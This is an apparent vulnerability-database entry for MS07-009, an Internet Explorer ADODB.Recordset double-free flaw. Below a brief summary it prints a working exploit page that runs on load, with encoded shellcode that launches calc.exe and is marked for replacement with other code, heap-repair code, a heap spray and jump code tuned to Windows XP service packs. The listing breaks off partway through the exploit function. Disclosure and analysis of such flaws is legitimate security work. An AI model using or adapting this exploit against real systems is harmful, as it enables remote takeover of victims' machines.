Microsoft Internet Explorer Recordset Double Free Memory (MS07-009, Exploit)
26 Mar. 2007
Summary
A remote code execution vulnerability exists in the ADODB.Connection ActiveX control that is provided as part of the ActiveX Data Objects (ADO) and that is distributed in MDAC. An attacker who successfully exploited this vulnerability could take complete control of an affected system.
This code exploit "double free error" in msado15.dll NextRecordset() function. As a result of double freeing of same string, rewriting of Heap Control Block by malicious data is occurring.
Exploit:
<HTML>
<!--
*************************************
Microsoft Internet Explorer ADODB.Recordset Double Free Memory Exploit (ms07-009).
*************************************
Review:
This code exploit "double free error" in msado15.dll NextRecordset() function.
As a result of double freeing of same string, rewriting of Heap Control Block
by malicious data is occuring.
Technique of exploitation is based on "Lookaside remapping".
Runs calc.exe if success.
-->
<HEAD>
<OBJECT id=obj classid=clsid:00000535-0000-0010-8000-00AA006D2EA4></OBJECT>
</HEAD>
<BODY onLoad='Go()'>
<script language=javascript>
//------------------Replace with your code-----------------------//
var Shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC
%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB
%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C
%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
//------------------Replace with your code-----------------------//
//-------------Heap Repair Code. Do not Replace------------------//
var HeapRepairCode = unescape("%u9090%u9090%u186A%u645B%u038B%u408B%u8B30%u1840%u5805%u0001%u3300%u89D2%u8910%u0450%u5089%u8908
%u0C50%uC083%u8928%u8900%u0440%uC083%u6608%u783D%u7C05%u8BF2%u81D8%u90C3%u0000%u8900%u3318%u83D2%u04C0
%u1089%uC083%u8104%u80C3%u0000%u8900%u3318%u89C0%u8303%u04C3%u8166%u88FB%u7C1E%u8BF4%u81D3%u70EB%u001E
%u6600%u338B%u8966%u4232%uC642%u0802%u6642%u328B%u3166%u4232%uC642%u1402%u6642%u328B%u3166%u4232%u6642
%uC381%u0160%u1389%u5389%u8904%u891A%u045A%u9090");
//-------------Heap Repair Code. Do not Replace------------------//
var part1 = '';
var part2 = '';
var partLen = 127;
function PrepMem()
{
//Standard Heap Spray Code
var heapSprayToAddress = 0x05050505;
var payLoadCode = HeapRepairCode + Shellcode;
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u9090%u9090");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
}
function GetSystemVersion()
{
//Simple Detecting of OS version out of Jscript version:
var ver = "";
ver += ScriptEngineMajorVersion();
ver += ScriptEngineMinorVersion();
ver += ScriptEngineBuildVersion();
if ( ver<568820 ){ return("preSP2"); }
else if ( ver<575730 ){ return("SP2"); }
else return (0);
}
function PrepJmpcode(sp)
{
switch(sp){
case "preSP2":
var egg="";
egg+=unescape("%u0608%u0014");
egg+=unescape("%u0000%u0000");
egg+=unescape("%uF708%u0013");
egg+=unescape("%u0000%u0101");
egg+=unescape("%uFFFF%uFFFF");
egg+=unescape("%uFFFF%uFFFF");
part1+=unescape("%u0400%u0014");
part1+=unescape("%u320C%u77FC");
while (part1.length<partLen) {part1+=unescape("%u0505");}// ptr* shellcode
while (part2.length<(partLen-egg.length)) {part2+=unescape("%uFFFF");}
part2+=egg;
break;
case "SP2":
var egg="";
egg+=unescape("%u0608%u0014");
egg+=unescape("%u0000%u0000");
egg+=unescape("%uF708%u0013");
egg+=unescape("%u0000%u0101");
egg+=unescape("%uFFFF%uFFFF");
egg+=unescape("%uFFFF%uFFFF");
part1+=unescape("%u0505%u0505");
part1+=unescape("%ue128%u75c7");
while (part1.length<partLen) {part1+=unescape("%uFFFF");}
while (part2.length<(partLen-egg.length)) {part2+=unescape("%uFFFF");}
part2+=egg;
break;
}
}
function Exploit()
{
var arr=new Array();
var i=1;
